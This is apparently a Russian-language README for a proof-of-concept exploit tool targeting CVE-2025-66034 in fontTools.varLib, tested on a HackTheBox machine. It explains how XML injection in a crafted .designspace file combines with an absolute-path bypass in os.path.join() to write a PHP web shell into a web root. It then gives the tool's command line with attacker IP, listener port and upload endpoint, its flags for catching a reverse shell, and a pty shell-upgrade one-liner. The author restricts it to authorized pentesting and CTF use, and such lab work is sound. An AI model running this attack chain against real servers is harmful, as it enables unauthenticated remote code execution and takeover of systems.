
CVE-2025-66034 - fontTools varLib Произвольная запись в файл → RCE Эксплойт PoC для уязвимости произвольной записи в файл и внедрения XML в fontTools.varLib.
Эксплойт PoC для уязвимости произвольной записи файла + XML-инъекция в
fontTools.varLibПротестировано на HackTheBox — VarIaType
fontTools.varLib обрабатывает XML-файлы .designspace для создания вариативных шрифтов. Две уязвимости объединяются для достижения RCE без аутентификации:
| # | Примитив | Описание |
|---|---|---|
| 1 | XML-инъекция через разделение CDATA | Контент, контролируемый атакующим внутри <labelname>, записывается дословно в тело выходного шрифта, что позволяет внедрить произвольные данные |
| 2 | Произвольная запись файла через обход os.path.join() | Атрибут filename у <variable-font> принимает абсолютный путь. При передаче в os.path.join() он игнорирует заданную выходную директорию и записывает в любой путь файловой системы, указанный атакующим |
Объединение обоих примитивов позволяет записать PHP-веб-шелл в веб-доступный путь, достигая неаутентифицированного удаленного выполнения кода.
python3 font_varlib.py \
--ip <attacker-ip> \
--port <port> \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/portal.target.htb/public/files \
--shell http://portal.target.htb/files
pip install requests fonttools
.ttf файла (source-light.ttf, source-regular.ttf) генерируются с помощью fontTools.FontBuilder в качестве необходимых мастеров для designspace.designspace — Создается специально сформированный XML-файл, содержащий:
<labelname>filename у <variable-font>, обходящий output_dir через os.path.join().designspace + мастер-шрифты отправляются POST-запросом на конечную точку обработки.php файл, выполняется полезная нагрузка reverse shell| Поле | |
|---|---|
| CVE | CVE-2025-66034 |
| Затронутый компонент | fontTools.varLib |
| Влияние | Неаутентифицированная произвольная запись файла → Удаленное выполнение кода |
| Контекст | Веб-приложение, предоставляющее конечную точку обработки шрифтов |
Данный инструмент предназначен только для авторизованного пентестинга и использования в CTF. Не запускайте против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
автор: 4nuxd
| Флаг | Описание |
|---|
--ip | IP атакующего для обратного вызова reverse shell |
--port | Порт прослушивателя |
--upload | Полный URL конечной точки обработки шрифтов (POST) |
--webroot | Абсолютный путь на сервере, соответствующий веб-доступной директории |
--shell | Базовый URL, по которому будет доступен веб-шелл |
--no-listen | Пропустить автоматический прослушиватель — вывести ручные команды |
--pwncat | Использовать pwncat-cs вместо nc (предпочтительно, если доступно) |
python3 -c 'import pty; pty.spawn("/bin/bash")' и устанавливает TERM + stty для полноценного интерактивного shell